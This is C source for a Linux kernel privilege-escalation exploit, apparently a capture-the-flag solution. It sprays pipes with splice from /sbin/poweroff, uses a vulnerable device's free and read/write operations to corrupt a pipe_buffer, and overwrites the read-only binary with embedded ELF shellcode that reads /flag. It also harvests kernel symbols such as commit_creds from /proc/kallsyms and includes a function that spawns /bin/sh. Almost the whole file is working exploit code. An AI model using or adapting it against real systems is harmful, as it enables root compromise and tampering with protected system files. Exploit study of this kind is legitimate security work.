dev_fd = open(FileAttack,2);
if(dev_fd < 0){
errExit(FileAttack);
}
bind_cpu(0);
find_symbols();
int attack_file=open("/sbin/poweroff",0);
if(attack_file < 0){
errExit("file open failed");
}
GREEN; printf("start splice...");CLOSE;
for (size_t i = 0; i < PIPE_SPARY_COUNT/2; i++)
{
if(pipe(pipe_fd[i])<0)errExit("pipe_fd");
write(pipe_fd[i][1],PIPE_TAG,8);
size_t offin,offout;
offin=offout=0;
if( splice(attack_file,&offin,pipe_fd[i][1],0,1,0) <0 )errExit("splice");
}
add(1024);
dele();
for (size_t i = PIPE_SPARY_COUNT/2; i < PIPE_SPARY_COUNT; i++)
{
if(pipe(pipe_fd[i])<0)errExit("pipe_fd");
write(pipe_fd[i][1],PIPE_TAG,8);
size_t offin,offout;
offin=offout=0;
if( splice(attack_file,&offin,pipe_fd[i][1],0,1,0) <0 )errExit("splice");
}
GREEN; printf("start splice end");CLOSE;
char buf[0x100]={0};
read(dev_fd,buf,0x100);
binary_dump("buf",buf,0x100);
size_t* p =(size_t*)( buf+PIPE_STRUCT_SIZE );
p[1]=0;
p[2]=*(size_t*)(buf+0x10);
write(dev_fd,buf,0x100);
read(dev_fd,buf,0x100);
binary_dump("buf",buf,0x100);
unsigned char shellcode[] =
{0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0xa7,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa7,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xbf,0xa8,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x48,0x31,0xf6,0x48,0x31,0xd2,0xb8,0x02,0x00,0x00,0x00,0x0f,0x05,0x48,0x89,0xc6,0x48,0x31,0xff,0x48,0xff,0xc7,0x48,0x31,0xd2,0x68,0x00,0x01,0x00,0x00,0x41,0x5a,0x6a,0x28,0x58,0x0f,0x05,0x00,0x2f,0x66,0x6c,0x61,0x67,0x00}
;
for (int i = 0; i < PIPE_SPARY_COUNT; i++) {
write(pipe_fd[i][1], shellcode, sizeof(shellcode));
}
for (size_t i = 0; i < PIPE_SPARY_COUNT; i++)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
read(attack_file,buf,sizeof(shellcode));
binary_dump("file",buf,sizeof(shellcode));
if(!strncmp(buf,(char*)shellcode,sizeof(shellcode))){
BLUE; printf("change successful"); CLOSE;
}else{
RED; printf("change FAILED"); CLOSE;
}
close(attack_file);
close(dev_fd);
BLUE;puts("[*]end");CLOSE;
return 0;
}
void save_status(){
__asm__("mov user_cs,cs;"
"pushf;" //push eflags
"pop user_rflags;"
"mov user_sp,rsp;"
"mov user_ss,ss;"
);
}
size_t find_symbols(){
const char* FILESYM="/proc/kallsyms\0";
FILE* kallsyms_fd = fopen(FILESYM,"r");
if(kallsyms_fd < 0){
errExit(FILESYM);
}
char buf[0x30] = {0};
while(fgets(buf,0x30,kallsyms_fd)){
//find vmlinux_base
if(strstr(buf,"_text") && !vmlinux_base){
char hex[20] = {0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&vmlinux_base);
showAddr(vmlinux_base);
}
//find commit_creds
if(strstr(buf,"commit_creds") && !commit_creds){
char hex[20] = {0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&commit_creds);
showAddr(commit_creds);
size_t commit_creds_offset=commit_creds-vmlinux_base;
showAddr(commit_creds_offset);
}
//find prepare_kernel_cred
if(strstr(buf,"prepare_kernel_cred") && !prepare_kernel_cred){
char hex[20] = {0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&prepare_kernel_cred);
showAddr(prepare_kernel_cred);
size_t prepare_kernel_cred_offset=prepare_kernel_cred-vmlinux_base;
showAddr(prepare_kernel_cred_offset);
}
if(strstr(buf,"swapgs_restore_regs") && !swapgs_restore_regs_and_return_to_usermode){
char hex[20] = {0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&swapgs_restore_regs_and_return_to_usermode);
showAddr(swapgs_restore_regs_and_return_to_usermode);
size_t swapgs_restore_regs_and_return_to_usermode_offset=swapgs_restore_regs_and_return_to_usermode-vmlinux_base;
showAddr(swapgs_restore_regs_and_return_to_usermode_offset);
}
if(strstr(buf,"D init_cred") && !init_cred){
char hex[20] = {0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&init_cred);
showAddr(init_cred);
size_t init_cred_offset=init_cred-vmlinux_base;
showAddr(init_cred_offset);
}
}
if(!swapgs_restore_regs_and_return_to_usermode){
RED;printf("not found swapgs_restore_regs_and_return_to_usermode");CLOSE;
}
if(!init_cred){
RED;printf("not found init_cred");CLOSE;
}
}
void binary_dump(char *desc, void *addr, int len) {
_QWORD *buf64 = (_QWORD *) addr;
_BYTE *buf8 = (_BYTE *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
BLUE;printf("[*] bind_cpu(%d)",core);CLOSE;
}
void getshell(void)
{
BLUE;printf("[*]Successful");CLOSE;
system("/bin/sh");
}
void _showAddr(char*name,size_t data){
GREEN;printf("[*] %s -> 0x%llx ",name,data);CLOSE;
}
void errExit(char * msg){
RED;printf("[X] Error : %s !",msg);CLOSE;
exit(-1);
}